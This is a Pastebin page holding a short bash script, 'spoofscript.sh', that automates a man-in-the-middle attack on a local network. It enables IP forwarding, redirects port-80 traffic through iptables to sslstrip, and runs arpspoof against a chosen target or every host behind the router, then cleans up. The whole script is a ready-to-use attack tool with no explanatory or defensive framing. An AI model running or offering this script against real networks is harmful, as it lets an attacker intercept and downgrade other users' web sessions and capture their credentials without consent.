Guest User

spoofscript.sh

a guest
Oct 20th, 2016
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. #!/bin/bash
  2. echo "Enter your adapter:"
  3. read ADAPTER
  4.  
  5. route -n
  6.  
  7. echo "Enter router ip address:"
  8. read ROUTER
  9.  
  10. echo "Enter target ip address(if you want all leave blank):"
  11. read TARGET
  12.  
  13. if [ -z $TARGET ]; then
  14. TARGETNAME="ALL"
  15. else
  16. TARGETNAME=$TARGET
  17. fi
  18.  
  19. echo "Network adapter set: $ADAPTER"
  20. echo "Router ip address set: $ROUTER"
  21. echo "Target ip address set: $TARGETNAME"
  22. echo "Press enter if all is good..."
  23. read
  24.  
  25. echo "1" > /proc/sys/net/ipv4/ip_forward
  26. echo "[+] Traffic forward enabled"
  27.  
  28. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
  29. echo "[+] Iptables set"
  30.  
  31. sslstrip -a -l 8080 2>/dev/null & sslstripid=$!
  32. echo "[+] Sslstrip started with id: $sslstripid"
  33. echo "If cleanup fails run 'kill [id]'"
  34. sleep 5
  35.  
  36. if [ -z $TARGET ]; then
  37. arpspoof -i $ADAPTER $ROUTER
  38. else
  39. arpspoof -i $ADAPTER -t $TARGET $ROUTER
  40. fi
  41.  
  42.  
  43. echo "Time to clean up, press enter to continue..."
  44. read
  45. kill ${sslstripid}
  46. echo "[+] Sslstrip terminated"
  47. iptables -t nat -F
  48. iptables -t nat -X
  49. echo "[+] Iptables cleaned up"
  50. echo "0" > /proc/sys/net/ipv4/ip_forward
  51. echo "[+] Traffic forward disabled"
Add Comment
Please, Sign In to add comment